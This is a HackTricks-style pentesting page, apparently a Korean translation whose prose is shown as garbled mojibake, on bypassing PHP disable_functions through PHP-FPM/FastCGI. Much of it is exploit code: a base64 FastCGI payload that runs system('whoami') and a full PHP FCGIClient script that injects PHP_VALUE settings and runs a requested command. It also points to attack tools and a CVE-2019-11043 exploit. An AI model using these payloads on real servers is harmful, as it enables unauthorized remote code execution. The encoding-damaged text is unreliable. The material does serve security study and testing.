disable_functions bypass - php-fpm/FastCGI
Tip
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- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
PHP-FPM
PHP-FPMμ νμ€ PHP FastCGIμ λν μ°μν λμμΌλ‘ μ 곡λλ©°, νΉν νΈλν½μ΄ λ§μ μΉμ¬μ΄νΈμ μ 리ν κΈ°λ₯μ μ 곡ν©λλ€. μ΄λ λ§μ€ν° νλ‘μΈμ€λ₯Ό ν΅ν΄ μμ μ νλ‘μΈμ€μ μ§ν©μ κ°λ ν©λλ€. PHP μ€ν¬λ¦½νΈ μμ²μ κ²½μ°, μΉ μλ²κ° PHP-FPM μλΉμ€μ λν FastCGI νλ‘μ μ°κ²°μ μμν©λλ€. μ΄ μλΉμ€λ μλ²μ λ€νΈμν¬ ν¬νΈ λλ μ λμ€ μμΌμ ν΅ν΄ μμ²μ μμ ν μ μλ λ₯λ ₯μ κ°μ§κ³ μμ΅λλ€.
νλ‘μ μ°κ²°μ μ€κ° μν μλ λΆκ΅¬νκ³ , PHP-FPMμ μΉ μλ²μ λμΌν λ¨Έμ μμ μλν΄μΌ ν©λλ€. μ¬μ©λλ μ°κ²°μ νλ‘μ κΈ°λ°μ΄μ§λ§, μ ν΅μ μΈ νλ‘μ μ°κ²°κ³Όλ λ€λ¦ λλ€. μμ²μ μμ νλ©΄ PHP-FPMμ μ¬μ© κ°λ₯ν μμ μκ° μ΄λ₯Ό μ²λ¦¬νμ¬ PHP μ€ν¬λ¦½νΈλ₯Ό μ€ννκ³ κ²°κ³Όλ₯Ό μΉ μλ²λ‘ λ€μ μ λ¬ν©λλ€. μμ μκ° μμ² μ²λ¦¬λ₯Ό λ§μΉλ©΄, λ€μ μμ²μ μν΄ λ€μ μ¬μ© κ°λ₯ν΄μ§λλ€.
νμ§λ§ CGIμ FastCGIλ 무μμΈκ°μ?
CGI
μΌλ°μ μΌλ‘ μΉ νμ΄μ§, νμΌ λ° μΉ μλ²μμ λΈλΌμ°μ λ‘ μ μ‘λλ λͺ¨λ λ¬Έμλ home/user/public_htmlκ³Ό κ°μ νΉμ κ³΅κ° λλ ν 리μ μ μ₯λ©λλ€. λΈλΌμ°μ κ° νΉμ μ½ν μΈ λ₯Ό μμ²νλ©΄, μλ²λ μ΄ λλ ν 리λ₯Ό νμΈνκ³ νμν νμΌμ λΈλΌμ°μ μ μ μ‘ν©λλ€.
μλ²μ CGIκ° μ€μΉλμ΄ μμΌλ©΄, νΉμ cgi-bin λλ ν 리λ μΆκ°λ©λλ€. μλ₯Ό λ€μ΄ home/user/public_html/cgi-binμ λλ€. CGI μ€ν¬λ¦½νΈλ μ΄ λλ ν 리μ μ μ₯λ©λλ€. λλ ν 리μ κ° νμΌμ μ€ν κ°λ₯ν νλ‘κ·Έλ¨μΌλ‘ μ·¨κΈλ©λλ€. λλ ν 리μμ μ€ν¬λ¦½νΈμ μ κ·Όν λ, μλ²λ νμΌμ λ΄μ©μ λΈλΌμ°μ μ μ μ‘νλ λμ μ΄ μ€ν¬λ¦½μ€λ₯Ό λ΄λΉνλ μ ν리μΌμ΄μ μ μμ²μ 보λ λλ€. μ λ ₯ λ°μ΄ν° μ²λ¦¬κ° μλ£λλ©΄, μ ν리μΌμ΄μ μ μΆλ ₯ λ°μ΄ν°λ₯Ό μΉ μλ²μ μ μ‘νκ³ , μΉ μλ²λ λ°μ΄ν°λ₯Ό HTTP ν΄λΌμ΄μΈνΈμ μ λ¬ν©λλ€.
μλ₯Ό λ€μ΄, CGI μ€ν¬λ¦½νΈ http://mysitename.com/cgi-bin/file.plμ μ κ·Όνλ©΄, μλ²λ CGIλ₯Ό ν΅ν΄ μ μ ν Perl μ ν리μΌμ΄μ μ μ€νν©λλ€. μ€ν¬λ¦½νΈ μ€νμμ μμ±λ λ°μ΄ν°λ μ ν리μΌμ΄μ μ μν΄ μΉ μλ²λ‘ μ μ‘λ©λλ€. λ°λ©΄, μλ²λ λ°μ΄ν°λ₯Ό λΈλΌμ°μ λ‘ μ μ‘ν©λλ€. μλ²μ CGIκ° μμλ€λ©΄, λΈλΌμ°μ λ .pl νμΌ μ½λλ₯Ό κ·Έλλ‘ νμνμ κ²μ λλ€. (μ€λͺ μ μ¬κΈ°μμ)
FastCGI
FastCGIλ μλ‘μ΄ μΉ κΈ°μ λ‘, μ£Όμ κΈ°λ₯μ λμΌνμ§λ§ κ°μ λ CGI λ²μ μ λλ€.
FastCGIλ₯Ό κ°λ°ν νμμ±μ μΉμ΄ μ ν리μΌμ΄μ μ λΉ λ₯Έ κ°λ°κ³Ό 볡μ‘μ±μΌλ‘ μΈν΄ λ°μνμΌλ©°, CGI κΈ°μ μ νμ₯μ± λΆμ‘±μ ν΄κ²°νκΈ° μν΄μμ λλ€. μ΄λ¬ν μꡬλ₯Ό μΆ©μ‘±νκΈ° μν΄ Open Marketμ FastCGI β ν₯μλ κΈ°λ₯μ κ°μΆ CGI κΈ°μ μ κ³ μ±λ₯ λ²μ μ λμ νμ΅λλ€.
disable_functions bypass
FastCGIλ₯Ό μ
μ©νμ¬ PHP μ½λλ₯Ό μ€ννκ³ disable_functions μ νμ ννΌν μ μμ΅λλ€.
Via Gopherus
Caution
μ΅μ λ²μ μμ μλνλμ§ νμ€νμ§ μμ΅λλ€. ν λ² μλνμ§λ§ μ무κ²λ μ€νλμ§ μμμ΅λλ€. μ΄μ κ΄λ ¨νμ¬ λ λ§μ μ λ³΄κ° μλ€λ©΄ [PEASS & HackTricks ν λ κ·Έλ¨ κ·Έλ£Ή μ¬κΈ°](https://t.me/peass), λλ νΈμν° [@carlospolopm](https://twitter.com/hacktricks_live)λ‘ μ μκ² μ°λ½ν΄ μ£ΌμΈμ.**
Gopherusλ₯Ό μ¬μ©νμ¬ FastCGI 리μ€λμ μ μ‘ν νμ΄λ‘λλ₯Ό μμ±νκ³ μμμ λͺ λ Ήμ μ€νν μ μμ΅λλ€:
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κ·Έλ° λ€μ, URL μΈμ½λ©λ νμ΄λ‘λλ₯Ό κ°μ Έμμ λμ½λ©νκ³ base64λ‘ λ³νν©λλ€. [μλ₯Ό λ€μ΄ μ΄ cyberchef λ μνΌλ₯Ό μ¬μ©νμ¬](http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28βA-Za-z0-9%2B/%3Dβ%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). κ·Έλ° λ€μ base64λ₯Ό μ΄ PHP μ½λμ 볡μ¬νμ¬ λΆμ¬λ£μ΅λλ€:
<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));
μ΄ μ€ν¬λ¦½νΈλ₯Ό μ
λ‘λνκ³ μ κ·Όνλ©΄ μ΅μ€νλ‘μμ΄ FastCGIλ‘ μ μ‘λκ³ (disable_functions λΉνμ±ν) μ§μ λ λͺ
λ Ήμ΄ μ€νλ©λλ€.
PHP μ΅μ€νλ‘μ
Caution
μ΅μ λ²μ μμ μλνλμ§ νμ€νμ§ μμ΅λλ€. ν λ² μλνμ§λ§ μ무κ²λ μ€νν μ μμμ΅λλ€. μ€μ λ‘ FastCGI μ€νμμ
phpinfo()κ°disable_functionsκ° λΉμ΄ μλ€κ³ νμνμ§λ§, PHPλ (μ΄λ»κ²λ ) μ¬μ ν μ΄μ μ λΉνμ±νλ ν¨μλ₯Ό μ€ννλ κ²μ λ°©μ§νμ΅λλ€. λ λ§μ μ λ³΄κ° μλ€λ©΄ [PEASS & HackTricks ν λ κ·Έλ¨ κ·Έλ£Ή μ¬κΈ°](https://t.me/peass), λλ νΈμν° [@carlospolopm](https://twitter.com/hacktricks_live)λ‘ μ μκ² μ°λ½ν΄ μ£ΌμΈμ.
μ¬κΈ°μ μ½λ.
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
μ΄μ ν¨μλ₯Ό μ¬μ©νλ©΄ system ν¨μλ μ¬μ ν λΉνμ±νλμ΄ μμ§λ§ **phpinfo()**λ **disable_functions**κ° λΉμ΄ μμμ 보μ¬μ€λλ€:
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κ·Έλμ, disable_functionsλ php .ini κ΅¬μ± νμΌμ ν΅ν΄μλ§ μ€μ ν μ μμΌλ©°, PHP_VALUEλ ν΄λΉ μ€μ μ 무μνμ§ μμ κ²μ΄λΌκ³ μκ°ν©λλ€.
FuckFastGCI
μ΄κ²μ open_basedirμ disable_functionsλ₯Ό μ°ννκΈ° μν΄ fastcgi νλ‘ν μ½μ μ
μ©νλ php μ€ν¬λ¦½νΈμ
λλ€.
μ격ν disable_functionsλ₯Ό μ°ννμ¬ RCEλ₯Ό μννκΈ° μν΄ μ
μ± νμ₯μ λ‘λνλ λ° λμμ΄ λ κ²μ
λλ€.
μ¬κΈ°μμ μ κ·Όν μ μμ΅λλ€: https://github.com/w181496/FuckFastcgi λλ μ½κ° μμ λκ³ κ°μ λ λ²μ μ μ¬κΈ°μμ νμΈν μ μμ΅λλ€: https://github.com/BorelEnzo/FuckFastcgi
μ΄ μ΅μ€νλ‘μμ μ΄μ μ½λμ λ§€μ° μ μ¬νμ§λ§, PHP_VALUEλ₯Ό μ¬μ©νμ¬ disable_functionsλ₯Ό μ°ννλ €κ³ μλνλ λμ , PHP_ADMIN_VALUE λ³μ λ΄μ extension_dir λ° extension λ§€κ°λ³μλ₯Ό μ¬μ©νμ¬ μΈλΆ PHP λͺ¨λμ λ‘λνλ €κ³ ν©λλ€.
NOTE1: μλ§λ μλ²κ° μ¬μ©νλ λμΌν PHP λ²μ μΌλ‘ νμ₯μ μ¬μ»΄νμΌν΄μΌ ν κ²μ
λλ€ (phpinfoμ μΆλ ₯μμ νμΈν μ μμ΅λλ€):
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Caution
NOTE2: PHP
.iniκ΅¬μ± νμΌμextension_dirλ°extensionκ°μ μ½μ νμ¬ μ΄ μμ μ μνν μ μμμ΅λλ€ (μλ²λ₯Ό 곡격ν λ ν μ μλ μμ μ λλ€). κ·Έλ¬λ μ΄λ€ μ΄μ λ‘ μΈν΄ μ΄ μ΅μ€νλ‘μμ μ¬μ©νκ³PHP_ADMIN_VALUEλ³μμμ νμ₯μ λ‘λν λ νλ‘μΈμ€κ° μ€λ¨λμμΌλ―λ‘ μ΄ κΈ°μ μ΄ μ¬μ ν μ ν¨νμ§ λͺ¨λ₯΄κ² μ΅λλ€.
PHP-FPM μ격 μ½λ μ€ν μ·¨μ½μ (CVE-2019β11043)
μ΄ μ·¨μ½μ μ phuip-fpizdamμΌλ‘ μ
μ©ν μ μμΌλ©°, μ΄ λ컀 νκ²½μ μ¬μ©νμ¬ ν
μ€νΈν μ μμ΅λλ€: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043.
μ·¨μ½μ λΆμμ μ¬κΈ°μμ μ°Ύμ μ μμ΅λλ€.
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
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